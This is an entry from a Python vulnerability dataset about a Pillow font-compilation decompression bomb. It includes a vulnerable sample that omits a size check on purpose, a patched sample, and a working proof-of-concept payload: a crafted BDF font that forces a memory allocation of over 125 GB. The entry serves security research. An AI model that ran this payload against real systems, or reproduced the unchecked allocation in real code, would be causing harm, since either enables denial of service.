VAITP Dataset

← Back to the dataset

CVE-2026-54060

Pillow: Decompression bomb in font processing allows for Denial of Service.

  • CVSS 7.5
  • CWE-789
  • Resource Management
  • Remote

Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.

CVSS base score
7.5
Published
2026-07-06
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
Pillow
Fixed by upgrading
Yes

Solution

Upgrade Pillow to version 12.3.0 or later.

Vulnerable code sample

from PIL import Image

def vulnerable_font_compile(font_glyphs_metrics):
    """
    A simplified function that represents the vulnerable logic in
    Pillow's FontFile.compile() method before it was patched.
    It calculates a total image size from font glyph metrics without
    validating the result before memory allocation.
    """
    xsize = 0
    ysize = 0
    
    # In the original code, metrics are read from a font file.
    # An attacker can craft a font with extremely large metric values.
    for metrics in font_glyphs_metrics:
        width, height = metrics
        xsize += width
        if height > ysize:
            ysize = height

    # THE VULNERABLE LINE:
    # Image.new() is called with dimensions derived directly from the
    # untrusted font file. There is no check to prevent an excessively
    # large allocation (a "decompression bomb").
    # The fix for this vulnerability was to add a call to
    # Image._decompression_bomb_check((xsize, ysize)) before this line.
    im = Image.new("1", (xsize, ysize))

    # The rest of the function, which would paste glyphs into 'im', is omitted.
    return im

# This represents the metrics from a malicious font file.
# A single glyph is defined with a huge size (e.g., 65535x65535 pixels).
malicious_glyph_metrics_data = [
    (65535, 65535) 
]

# This call triggers the vulnerability. It attempts to allocate an
# enormous image (approx 4GB of pixels for a 65535x65535 '1' mode image),
# which can lead to a Denial of Service through memory exhaustion.
try:
    vulnerable_font_compile(malicious_glyph_metrics_data)
except MemoryError:
    # This exception is expected when running the vulnerable code.
    print("A MemoryError was triggered, as expected.")

Patched code sample

from PIL import Image

def fixed_font_compile_logic(xsize, ysize):
    """
    Represents the fixed logic in Pillow's FontFile.compile() method.
    
    The vulnerability was that Image.new() was called without first checking
    the potential size of the image, allowing for a decompression bomb.
    """
    size = (xsize, ysize)

    # THE FIX: This line was added. It checks the total number of pixels
    # against a threshold (Image.MAX_IMAGE_PIXELS) and raises an
    # Image.DecompressionBombError if the limit is exceeded.
    Image._decompression_bomb_check(size)

    # This image allocation only occurs if the check above passes.
    im = Image.new("1", size)
    
    return im

Payload

from PIL import FontFile
import io
import os
import tempfile

# A malicious BDF font with a large bounding box height and character width.
# When FontFile.compile() is called (via .save()), it calculates the total
# bitmap size based on these exaggerated metrics without proper checks.
# DWIDTH of 65000 for 256 chars -> xsize = 16,640,000
# FONTBOUNDINGBOX height of 65000 -> ysize = 65000
# This attempts an allocation of over 125 GB, causing a denial of service.
malicious_bdf_font = b"""
STARTFONT 2.1
FONT malicious_font
SIZE 100 1000 1000
FONTBOUNDINGBOX 16 65000 0 0
STARTPROPERTIES 1
DEFAULT_CHAR 0
ENDPROPERTIES
CHARS 1
STARTCHAR default
ENCODING 0
SWIDTH 500 0
DWIDTH 65000 0
BBX 1 1 0 0
BITMAP
00
ENDCHAR
ENDFONT
"""

font_file_in_memory = io.BytesIO(malicious_bdf_font)
font = FontFile.open(font_file_in_memory)

# The .save() method triggers .compile(), which contains the vulnerability.
# This call will attempt to allocate an extremely large image,
# leading to a MemoryError and denial of service.
with tempfile.TemporaryDirectory() as temp_dir:
    font.save(os.path.join(temp_dir, "font"))

Cite this entry

@misc{vaitp:cve202654060,
  title        = {{Pillow: Decompression bomb in font processing allows for Denial of Service.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-54060},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-54060/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::